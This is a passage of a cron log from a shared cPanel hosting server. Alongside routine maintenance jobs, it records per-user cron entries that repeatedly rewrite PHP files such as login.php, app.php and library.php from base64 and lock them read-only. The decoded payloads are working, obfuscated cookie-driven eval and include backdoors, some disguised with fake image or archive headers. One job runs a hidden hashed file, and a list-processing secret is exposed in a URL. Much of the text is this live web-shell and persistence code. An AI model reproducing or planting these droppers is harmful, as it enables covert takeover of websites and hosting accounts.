CAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:29:02 medusa CROND[21361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:29:02 medusa CROND[21362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 10:29:02 medusa CROND[21363]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:29:02 medusa CROND[21366]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:29:02 medusa CROND[21370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:29:02 medusa CROND[21368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:29:02 medusa CROND[21373]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:30:01 medusa CROND[23079]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:30:01 medusa CROND[23090]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 10:30:01 medusa CROND[23091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:30:01 medusa CROND[23095]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:30:01 medusa CROND[23150]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:30:01 medusa CROND[23151]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23152]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23153]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:30:01 medusa CROND[23154]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:30:01 medusa CROND[23155]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23156]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:30:01 medusa CROND[23158]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23162]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:30:01 medusa CROND[23167]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:30:01 medusa CROND[23168]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:30:01 medusa CROND[23174]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23179]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:30:01 medusa CROND[23180]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 10:30:01 medusa CROND[23183]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:30:01 medusa CROND[23176]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23177]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:30:01 medusa CROND[23186]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23187]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:30:01 medusa CROND[23190]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 10:30:01 medusa CROND[23193]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:30:01 medusa CROND[23181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:30:01 medusa CROND[23184]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:30:01 medusa CROND[23201]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 10:30:01 medusa CROND[23223]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:31:01 medusa CROND[25709]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:31:01 medusa CROND[25731]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:31:01 medusa CROND[25734]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:31:01 medusa CROND[25736]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
